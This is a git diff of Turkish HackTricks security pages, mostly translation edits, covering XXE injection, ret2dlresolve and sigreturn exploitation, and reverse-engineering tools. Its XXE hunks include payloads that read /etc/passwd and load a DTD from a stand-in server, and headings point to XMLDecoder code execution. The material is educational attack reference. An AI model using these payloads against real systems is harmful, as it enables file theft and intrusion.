Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz\]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7)%2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -428,7 +429,7 @@ Eğer web Java kullanıyorsa [**jar: protokolünü**](xxe-xee-xml-external-entit
|
||||
### HTML Varlıkları
|
||||
|
||||
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) adresinden bir hile\
|
||||
Bir **varlık içinde bir varlık** oluşturabilir, bunu **html varlıkları** ile kodlayabilir ve ardından **dtd yüklemek** için çağırabilirsiniz.\
|
||||
**varlık içinde bir varlık** oluşturabilir, bunu **html varlıkları** ile kodlayabilir ve ardından **dtd yüklemek** için çağırabilirsiniz.\
|
||||
Kullanılan **HTML Varlıkları**'nın **sayısal** olması gerektiğini unutmayın (örneğin \[bu örnekte]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -475,7 +476,7 @@ DTD örneği:
|
||||
|
||||
Bu örnek, [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) adresinden esinlenmiştir.
|
||||
|
||||
XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için kullanılan, XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak işlev görür.
|
||||
XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirilebilir verilerin araçlar arasında aktarımı için kullanılan, XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak hizmet eder.
|
||||
|
||||
### Blind Request Analizi
|
||||
|
||||
@ -491,7 +492,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bildirimleriyle ilgili bir sorunu belirtir:
|
||||
Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bildirimleriyle ilgili bir sorun olduğunu belirtir:
|
||||
```json
|
||||
{
|
||||
"status": 500,
|
||||
@ -562,7 +563,7 @@ Saldırganın sunucusuna basit HTTP isteği
|
||||
</channel>
|
||||
</rss>
|
||||
```
|
||||
### Dosya oku
|
||||
### Dosyayı oku
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
@ -608,7 +609,7 @@ PHP base64 filtresi kullanarak
|
||||
```
|
||||
## Java XMLDecoder XEE'den RCE'ye
|
||||
|
||||
XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** metoduna rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde eder.
|
||||
XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde eder.
|
||||
|
||||
### Runtime().exec() Kullanarak
|
||||
```xml
|
||||
@ -672,7 +673,9 @@ XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır
|
||||
```
|
||||
## Araçlar
|
||||
|
||||
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
|
||||
@ -685,5 +688,4 @@ XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -17,7 +17,9 @@ Genellikle, bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrıs
|
||||
|
||||
Bu teknik hakkında daha iyi bir açıklamayı videonun ikinci yarısında bulabilirsiniz:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Yapılar
|
||||
|
||||
@ -26,14 +28,14 @@ Bu teknik hakkında daha iyi bir açıklamayı videonun ikinci yarısında bulab
|
||||
## Saldırı Özeti
|
||||
|
||||
1. Bazı yerlerde sahte yapılar yazın
|
||||
2. sistemin ilk argümanını ayarlayın (`$rdi = &'/bin/sh'`)
|
||||
3. **`_dl_runtime_resolve`** çağrısı için yığında yapıların adreslerini ayarlayın
|
||||
2. system'ın ilk argümanını ayarlayın (`$rdi = &'/bin/sh'`)
|
||||
3. **`_dl_runtime_resolve`** çağrısı için yığında yapılarının adreslerini ayarlayın
|
||||
4. **Çağırın** `_dl_runtime_resolve`
|
||||
5. **`system`** çözülecek ve `'/bin/sh'` argümanı ile çağrılacaktır
|
||||
|
||||
## Örnek
|
||||
|
||||
Bu tekniğin [**örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **ve son ROP zincirinin çok iyi bir açıklamasını içermektedir**, ancak burada kullanılan son istismar:
|
||||
Bu tekniğin [**örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **son ROP zincirinin çok iyi bir açıklamasını içermektedir**, ancak burada kullanılan son istismar:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
**`Sigreturn`**, bir sinyal işleyicisinin yürütmesini tamamladıktan sonra temizlemek için kullanılan özel bir **syscall**'dır. Sinyaller, işletim sistemi tarafından bir programa gönderilen kesintilerdir ve genellikle olağanüstü bir durumun meydana geldiğini belirtmek için kullanılır. Bir program bir sinyal aldığında, sinyali işlemek için geçici olarak mevcut işini durdurur ve bu işlem için özel olarak tasarlanmış bir **sinyal işleyici** kullanır.
|
||||
|
||||
Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna geri dönmesi** gerekir, sanki hiçbir şey olmamış gibi. İşte burada **`sigreturn`** devreye girer. Programın **sinyal işleyicisinden dönmesine** yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler.
|
||||
Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna geri dönmesi** gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada **`sigreturn`** devreye girer. Programın **sinyal işleyicisinden dönmesine** yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler.
|
||||
|
||||
İlginç olan, **`sigreturn`**'ın programın durumunu nasıl geri yüklediğidir: **tüm CPU'nun kayıt değerlerini yığında saklayarak** bunu yapar. Sinyal artık engellenmediğinde, **`sigreturn` bu değerleri yığından çıkarır**, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığın işaretçi kaydı (RSP) dahil olmak üzere, yığının mevcut üst kısmını gösterir.
|
||||
İlginç olan, **`sigreturn`**'ın programın durumunu nasıl geri yüklediğidir: **tüm CPU'nun kayıt değerlerini yığında saklayarak** bunu yapar. Sinyal artık engellenmediğinde, **`sigreturn` bu değerleri yığından çıkarır**, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bir ROP zincirinden **`sigreturn`** syscall'ını çağırmak ve **yüklemek istediğimiz kayıt değerlerini** **yığa** eklemek, tüm kayıt değerlerini **kontrol etmemizi** ve dolayısıyla örneğin `execve` syscall'ını `/bin/sh` ile **çağırmamızı** mümkün kılar.
|
||||
@ -21,7 +21,9 @@ rop-syscall-execv.md
|
||||
|
||||
Daha iyi bir açıklama için ayrıca kontrol edin:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Örnek
|
||||
|
||||
|
@ -12,9 +12,9 @@ Yazılım:
|
||||
|
||||
Çevrimiçi:
|
||||
|
||||
- **wasm** (ikili) formatından **wat** (düz metin) formatına **decompile** etmek için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın
|
||||
- **wat** formatından **wasm** formatına **compile** etmek için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın
|
||||
- **decompile** etmek için [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanmayı da deneyebilirsiniz
|
||||
- wasm (ikili) formatından wat (düz metin) formatına **decompile** etmek için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın
|
||||
- wat formatından wasm formatına **compile** etmek için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın
|
||||
- decompile etmek için [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanmayı da deneyebilirsiniz
|
||||
|
||||
Yazılım:
|
||||
|
||||
@ -25,7 +25,7 @@ Yazılım:
|
||||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **çalıştırılabilir dosyalar** (.exe) dahil olmak üzere **birden fazla formatı decompile** eden ve inceleyen bir decompiler'dır. Decompile edildikten sonra, bir assembly Visual Studio projesi (.csproj) olarak kaydedilebilir.
|
||||
dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **çalıştırılabilir dosyalar** (.exe) dahil olmak üzere **birden fazla formatı decompile ve inceleyen** bir decompiler'dır. Decompile edildikten sonra, bir assembly Visual Studio projesi (.csproj) olarak kaydedilebilir.
|
||||
|
||||
Buradaki avantaj, kaybolmuş bir kaynak kodunun eski bir assembly'den geri yüklenmesi gerektiğinde, bu işlemin zaman kazandırmasıdır. Ayrıca, dotPeek, decompile edilmiş kod boyunca kullanışlı bir navigasyon sağlar ve bu da onu **Xamarin algoritma analizi** için mükemmel araçlardan biri yapar.
|
||||
|
||||
@ -35,7 +35,7 @@ Kapsamlı bir eklenti modeli ve aracı tam ihtiyaçlarınıza uyacak şekilde ge
|
||||
|
||||
- Bir kütüphane veya bileşen içindeki veri akışının nasıl olduğunu anlamanızı sağlar
|
||||
- .NET dilleri ve çerçevelerinin uygulanması ve kullanımı hakkında bilgi verir
|
||||
- Kullanılan API'lerden ve teknolojilerden daha fazla yararlanmak için belgelenmemiş ve açığa çıkarılmamış işlevselliği bulur.
|
||||
- API'lerden ve kullanılan teknolojilerden daha fazla yararlanmak için belgelenmemiş ve açığa çıkarılmamış işlevselliği bulur.
|
||||
- Bağımlılıkları ve farklı assembly'leri bulur
|
||||
- Kodunuzdaki, üçüncü taraf bileşenlerdeki ve kütüphanelerdeki hataların tam yerini takip eder.
|
||||
- Çalıştığınız tüm .NET kodunun kaynağına hata ayıklama yapar.
|
||||
@ -43,7 +43,7 @@ Kapsamlı bir eklenti modeli ve aracı tam ihtiyaçlarınıza uyacak şekilde ge
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan kurabilirsiniz, git indirmeye gerek yok. **Extensions**'a tıklayın ve **ILSpy**'yi arayın).\
|
||||
**decompile**, **modify** ve tekrar **recompile** etmeniz gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya aktif olarak bakımı yapılan bir çatalı, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (**Sağ Tık -> Method'u Değiştir** ile bir fonksiyonun içindeki bir şeyi değiştirebilirsiniz).
|
||||
Eğer **decompile**, **modify** ve tekrar **recompile** etmeniz gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya aktif olarak bakımı yapılan bir fork'u, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (**Sağ Tık -> Method'u Değiştir** ile bir fonksiyonun içindeki bir şeyi değiştirebilirsiniz).
|
||||
|
||||
### DNSpy Logging
|
||||
|
||||
@ -63,7 +63,9 @@ DNSpy kullanarak kodu hata ayıklamak için şunları yapmalısınız:
|
||||
```aspnet
|
||||
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
|
||||
```
|
||||
Bu dosya, tersine mühendislik ve analiz için temel araçlar ve yöntemler hakkında bilgi sağlamaktadır. Aşağıda, bu araçların ve yöntemlerin nasıl kullanılacağına dair bazı temel bilgiler bulunmaktadır.
|
||||
Bu bölümde, tersine mühendislik için temel araçlar ve yöntemler hakkında bilgi verilecektir. Tersine mühendislik, yazılımın iç işleyişini anlamak ve analiz etmek için kullanılan bir tekniktir. Bu süreç, yazılımın nasıl çalıştığını anlamak, güvenlik açıklarını bulmak ve potansiyel olarak kötü niyetli kullanımları önlemek için önemlidir.
|
||||
|
||||
Tersine mühendislik araçları, genellikle yazılımın ikili dosyalarını analiz etmek için kullanılır. Bu araçlar, yazılımın işleyişini anlamak için çeşitli yöntemler sunar. Bu bölümde, bu araçların bazıları ve bunların nasıl kullanılacağı hakkında bilgi verilecektir.
|
||||
```
|
||||
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
|
||||
DebuggableAttribute.DebuggingModes.DisableOptimizations |
|
||||
@ -92,7 +94,7 @@ Ardından **IIS server**'a bağlanmak için **w3wp.exe**'yi seçin ve **attach**
|
||||
|
||||
.png>)
|
||||
|
||||
Artık süreci hata ayıklıyorken, durdurma ve tüm modülleri yükleme zamanı. Önce _Debug >> Break All_ seçeneğine tıklayın ve ardından _**Debug >> Windows >> Modules**_ seçeneğine tıklayın:
|
||||
Artık süreci hata ayıklıyoruz, zamanı durdurup tüm modülleri yükleme zamanı. Önce _Debug >> Break All_ seçeneğine tıklayın ve ardından _**Debug >> Windows >> Modules**_ seçeneğine tıklayın:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -115,28 +117,28 @@ Artık süreci hata ayıklıyorken, durdurma ve tüm modülleri yükleme zamanı
|
||||
|
||||
### IDA Kullanarak
|
||||
|
||||
- **rundll32**'yi yükleyin (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe)
|
||||
- **rundll32'yi yükleyin** (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe)
|
||||
- **Windbg** hata ayıklayıcısını seçin
|
||||
- "**Suspend on library load/unload**" seçeneğini seçin
|
||||
- "**Kütüphane yükleme/boşaltma sırasında askıya al**" seçeneğini seçin
|
||||
|
||||
.png>)
|
||||
|
||||
- **DLL**'nin yolunu ve çağırmak istediğiniz fonksiyonu belirterek yürütme **parametrelerini** yapılandırın:
|
||||
- **DLL'nin yolunu** ve çağırmak istediğiniz fonksiyonu belirterek yürütme **parametrelerini** yapılandırın:
|
||||
|
||||
.png>)
|
||||
|
||||
Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulacaktır**, daha sonra rundll32 DLL'nizi yüklediğinde yürütme durdurulacaktır.
|
||||
Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulacak**, sonra, rundll32 DLL'nizi yüklediğinde yürütme durdurulacak.
|
||||
|
||||
Ama, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, nasıl olduğunu bilmiyorum.
|
||||
|
||||
### x64dbg/x32dbg Kullanarak
|
||||
|
||||
- **rundll32**'yi yükleyin (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe)
|
||||
- **Command Line**'ı değiştirin (_File --> Change Command Line_) ve DLL'nin yolunu ve çağırmak istediğiniz fonksiyonu ayarlayın, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
|
||||
- _Options --> Settings_ kısmını değiştirin ve "**DLL Entry**" seçeneğini seçin.
|
||||
- Ardından **yürütmeyi başlatın**, hata ayıklayıcı her DLL ana fonksiyonunda duracaktır, bir noktada **DLL'nizin girişinde duracaksınız**. Oradan, bir kesme noktası koymak istediğiniz yerleri arayın.
|
||||
- **rundll32'yi yükleyin** (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe)
|
||||
- **Komut Satırını Değiştirin** (_File --> Change Command Line_) ve DLL'nin yolunu ve çağırmak istediğiniz fonksiyonu ayarlayın, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
|
||||
- _Options --> Settings_ kısmını değiştirin ve "**DLL Girişi**" seçeneğini seçin.
|
||||
- Ardından **yürütmeyi başlatın**, hata ayıklayıcı her DLL ana fonksiyonunda duracak, bir noktada **DLL'nizin girişinde duracaksınız**. Oradan, bir kesme noktası koymak istediğiniz yerleri arayın.
|
||||
|
||||
Yürütme herhangi bir nedenle win64dbg'de durdurulduğunda, **nerede olduğunuzu** görebilirsiniz, **win64dbg penceresinin üst kısmında**:
|
||||
Yürütme herhangi bir nedenle win64dbg'de durdurulduğunda, **nerede olduğunuzu** win64dbg penceresinin **üst kısmında** görebilirsiniz:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -150,20 +152,22 @@ Sonra, yürütmenin durdurulduğu yeri görebilirsiniz, hata ayıklamak istediğ
|
||||
cheat-engine.md
|
||||
{{#endref}}
|
||||
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) GNU Project Debugger (GDB) için bir ön yüz/ters mühendislik aracıdır ve oyunlara odaklanmıştır. Ancak, herhangi bir ters mühendislik ile ilgili şeyler için de kullanılabilir.
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) GNU Project Debugger (GDB) için bir ön yüz/ters mühendislik aracıdır, oyunlara odaklanmıştır. Ancak, herhangi bir ters mühendislik ile ilgili şeyler için de kullanılabilir.
|
||||
|
||||
[**Decompiler Explorer**](https://dogbolt.org/) bir dizi decompiler için bir web ön yüzüdür. Bu web hizmeti, küçük yürütülebilir dosyalar üzerinde farklı decompiler'ların çıktısını karşılaştırmanıza olanak tanır.
|
||||
|
||||
## ARM & MIPS
|
||||
|
||||
{% embed url="https://github.com/nongiach/arm_now" %}
|
||||
{{#ref}}
|
||||
https://github.com/nongiach/arm_now
|
||||
{{#endref}}
|
||||
|
||||
## Shellcodes
|
||||
## Shellcode'lar
|
||||
|
||||
### Blobrunner ile bir shellcode'u hata ayıklama
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode**'u bir bellek alanında **ayıracak**, shellcode'un ayrıldığı **bellek adresini** size **gösterecek** ve yürütmeyi **durduracaktır**.\
|
||||
Ardından, bir **hata ayıklayıcıyı** (Ida veya x64dbg) sürece eklemeli ve belirtilen bellek adresinde bir **kesme noktası** koymalı ve yürütmeyi **devam ettirmelisiniz**. Bu şekilde shellcode'u hata ayıklayacaksınız.
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode'u** bir bellek alanında **ayıracak**, shellcode'un ayrıldığı **bellek adresini** size **gösterecek** ve yürütmeyi **durduracak**.\
|
||||
Ardından, bir **hata ayıklayıcıyı** (Ida veya x64dbg) sürece eklemeniz ve belirtilen bellek adresinde bir **kesme noktası** koyup yürütmeyi **devam ettirmeniz** gerekiyor. Bu şekilde shellcode'u hata ayıklayacaksınız.
|
||||
|
||||
Yayınların github sayfası, derlenmiş sürümleri içeren zip dosyaları içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Blobrunner'ın biraz değiştirilmiş bir versiyonunu aşağıdaki bağlantıda bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**.
|
||||
@ -174,7 +178,7 @@ blobrunner.md
|
||||
|
||||
### jmp2it ile bir shellcode'u hata ayıklama
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner'a çok benzer. **Shellcode**'u bir bellek alanında **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, **hata ayıklayıcıyı** sürece eklemeli, **başlat düğmesine basmalı, 2-5 saniye beklemeli ve durdurmalısınız** ve kendinizi **sonsuz döngüde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütmeye başlayacaksınız.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner'a çok benzer. **shellcode'u** bir bellek alanında **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, sürece **hata ayıklayıcıyı eklemeniz**, **oyunu başlatmanız, 2-5 saniye beklemeniz ve durdurmanız** gerekiyor ve kendinizi **sonsuz döngüde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütmeye başlayacaksınız.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -184,11 +188,11 @@ Derlenmiş bir versiyonu [jmp2it'in yayınlar sayfasından](https://github.com/a
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) radare'nin GUI'sidir. Cutter kullanarak shellcode'u emüle edebilir ve dinamik olarak inceleyebilirsiniz.
|
||||
|
||||
Cutter'ın "Open File" ve "Open Shellcode" seçeneklerini sunduğunu unutmayın. Benim durumumda, shellcode'u dosya olarak açtığımda doğru bir şekilde decompile etti, ancak shellcode olarak açtığımda etmedi:
|
||||
Cutter'ın "Dosya Aç" ve "Shellcode Aç" seçeneklerini sunduğunu unutmayın. Benim durumumda shellcode'u dosya olarak açtığımda doğru bir şekilde decompile etti, ancak shellcode olarak açtığımda etmedi:
|
||||
|
||||
.png>)
|
||||
|
||||
Emülasyonu istediğiniz yerden başlatmak için orada bir kesme noktası ayarlayın ve görünüşe göre cutter oradan emülasyonu otomatik olarak başlatacaktır:
|
||||
Emülasyonu başlatmak istediğiniz yerden başlatmak için oraya bir kesme noktası koyun ve görünüşe göre cutter oradan emülasyonu otomatik olarak başlatacaktır:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -214,7 +218,7 @@ scDbg ayrıca istediğiniz seçenekleri seçip shellcode'u çalıştırabileceğ
|
||||
|
||||
.png>)
|
||||
|
||||
**Create Dump** seçeneği, shellcode'da dinamik olarak herhangi bir değişiklik yapıldığında son shellcode'u dökecektir (kodlanmış shellcode'u indirmek için faydalıdır). **start offset** shellcode'u belirli bir ofsetten başlatmak için faydalı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminali kullanarak hata ayıklamak için faydalıdır (ancak bu konuda daha önce açıklanan seçeneklerin herhangi birinin daha iyi olduğunu düşünüyorum çünkü Ida veya x64dbg kullanabileceksiniz).
|
||||
**Create Dump** seçeneği, shellcode'da dinamik olarak herhangi bir değişiklik yapıldığında son shellcode'u dökecektir (kodlanmış shellcode'u indirmek için faydalıdır). **start offset** shellcode'u belirli bir ofsetten başlatmak için faydalı olabilir. **Debug Shell** seçeneği, scDbg terminalini kullanarak shellcode'u hata ayıklamak için faydalıdır (ancak bu konuda daha önce açıklanan seçeneklerin herhangi birinin daha iyi olduğunu düşünüyorum çünkü Ida veya x64dbg kullanabileceksiniz).
|
||||
|
||||
### CyberChef kullanarak ayrıştırma
|
||||
|
||||
@ -238,7 +242,7 @@ Eğer bir **CTF oynuyorsanız, bayrağı bulmak için bu geçici çözüm** çok
|
||||
|
||||
## Rust
|
||||
|
||||
**giriş noktası** bulmak için fonksiyonları `::main` ile arayın:
|
||||
**giriş noktası** bulmak için `::main` ile fonksiyonları arayın:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -253,9 +257,9 @@ Eğer bir Delphi ikili dosyasını tersine mühendislik yapmanız gerekiyorsa, I
|
||||
|
||||
Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin.
|
||||
|
||||
Bu eklenti, ikili dosyayı çalıştıracak ve hata ayıklamanın başlangıcında fonksiyon isimlerini dinamik olarak çözecektir. Hata ayıklamayı başlattıktan sonra tekrar Başlat butonuna (yeşil olan veya f9) basın ve gerçek kodun başlangıcında bir kesme noktası oluşacaktır.
|
||||
Bu eklenti, ikili dosyayı çalıştıracak ve hata ayıklamanın başlangıcında fonksiyon isimlerini dinamik olarak çözecektir. Hata ayıklamayı başlattıktan sonra tekrar Başlat butonuna (yeşil olan veya f9) basın ve gerçek kodun başında bir kesme noktası oluşacaktır.
|
||||
|
||||
Ayrıca, grafik uygulamasında bir düğmeye bastığınızda, hata ayıklayıcı o düğme tarafından yürütülen fonksiyonda duracaktır.
|
||||
Ayrıca, grafik uygulamasında bir butona bastığınızda, hata ayıklayıcı o buton tarafından yürütülen fonksiyonda duracaktır.
|
||||
|
||||
## Golang
|
||||
|
||||
@ -273,16 +277,16 @@ Bu sayfada bir ELF/EXE python derlenmiş ikili dosyasından python kodunu nasıl
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## GBA - Oyun Vücut İleri
|
||||
## GBA - Oyun Gövdesi İleri
|
||||
|
||||
Eğer bir GBA oyununun **ikilisini** alırsanız, **emüle** etmek ve **hata ayıklamak** için farklı araçlar kullanabilirsiniz:
|
||||
|
||||
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Hata ayıklama sürümünü indirin_) - Arayüz ile birlikte bir hata ayıklayıcı içerir
|
||||
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Hata ayıklama sürümünü indirin_) - Arayüz ile bir hata ayıklayıcı içerir
|
||||
